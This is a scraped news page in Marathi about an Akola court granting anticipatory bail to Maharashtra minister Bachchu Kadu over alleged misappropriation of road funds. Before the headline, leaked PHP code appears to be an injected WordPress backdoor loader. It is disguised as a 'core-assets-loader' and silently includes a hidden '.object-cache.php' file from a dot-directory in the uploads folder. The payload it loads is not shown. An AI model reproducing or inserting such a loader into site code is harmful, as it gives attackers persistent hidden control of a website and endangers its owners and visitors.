add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); पालकमंत्री बच्चू कडू यांना न्यायालयाचा दिलासा, अटकपूर्व जामीन अर्ज मंजूर – SOCH INDIA
Menu

देश
पालकमंत्री बच्चू कडू यांना न्यायालयाचा दिलासा, अटकपूर्व जामीन अर्ज मंजूर

nobanner

राज्यमंत्री तथा अकोल्याचे पालकमंत्री बच्चू कडू यांच्याविरोधात विविध कलमान्वये अकोल्यातील सिटी कोतवाली पोलिसांत गुन्हे दाखल आहेत. या प्रकरणी बच्चू कडूंनी अकोला जिल्हा न्यायालयात पुन्हा अटकपूर्व जामीन अर्ज दाखल केला होता. आता न्यायालयाने यावर आज बुधवारी निर्णय देत, त्यांचा अटकपूर्वक पुर्णता जामिन अर्ज मंजूर केला आहे.

उद्धव ठाकरेंच्या १४ तारखेच्या सभेदिवशी महाआरती करणार, नवनीत राणांची पुन्हा नवी घोषणा
अकोल्यातील जिल्हा परिषदेकडून जिल्हा नियोजन समितीकडे पाठविलेल्या रस्त्यांच्या प्रस्तावामध्ये परस्पर बदल करून बच्चू कडूंनी १ कोटी ९५ लाखांचा निधीचा अपहार केल्याचा आरोप वंचितने केला होता. या संदर्भात वंचितनं राज्यपालांकडे बच्चू कडू यांच्यावर कारवाईसाठी परवानगी मागितली होती. आता न्यायालयानं या प्रकरणात अपहार झाल्याचं प्राथमिक मत नोंदवत गुन्हे दाखल करण्याचे आदेश सिटी कोतवाली पोलिसांना दिले. ४०४, ४०९, ४६८, ४७१, ४२० या विविध कलमान्वये नुसार गुन्हा दाखल केला गेला. दरम्यान, वंचितने या’संदर्भात अकोला न्यायालयात अर्ज केला. हा अर्ज न्यायालयाने मंजूर करत थेट सिटी कोतवाली पोलिसांना गुन्हा दाखल करण्याचे आदेश दिले.

पालकमंत्री बच्चू कडू यांच्याविरुद्ध गुन्हा दाखल झाल्यानंतर त्यांच्याकडून न्यायालयीन लढा देत आहे. या प्रकरणी बच्चू कडूंनी पहिल्यांदा २८ एप्रिल रोजी अकोला जिल्हा न्यायालयात अटकपूर्व जामीन अर्ज दाखल केला होता. यावेळी न्यायालयाने त्यांचा जामिन मंजूर केला. आणि ९ मेपर्यंत त्यांना अटक न करण्याचे आदेश दिले. त्यानंतर पुन्हा कडूंचा ९ मेरोजी न्यायालयात अटकपूर्व जामीन अर्ज दाखल केला गेला. आज बुधवारी या अर्जावर सुनावणी झाली आणि निर्णय झाला. न्यायालयाच्या निर्णयानंतर बच्चू कडू यांना पुन्हा एकदा दिलासा मिळाला. त्यांचा अटकपूर्व जामीन अर्ज मंजूर केला आहे. बच्चू कडू यांची न्यायालयात बाजू ऍड. बी.के. गांधी यांनी बाजू मांडली.

ग्रामीण भागातील रस्ते, पुलाच्या कामात अनियमिता झाल्याप्रकरणी पालकमंत्री बच्चू कडू यांच्यावर गुन्हा दाखल करणे आणि चौकशीसाठी परवानगी मिळावी, याकरीता वंचितचे प्रकाश आंबेडकर यांनी राज्यपाल भगतसिंह कोश्यारी यांची भेट घेतली होती. त्यांना सविस्तर निवेदन आणि काही दस्तावेजही सादर केले. याची दखल घेत राज्यपालांनी, याप्रकरणी योग्य कारवाई करा, असे निर्देश अकोल्याच्या पोलीस अधीक्षकांना दिले होते.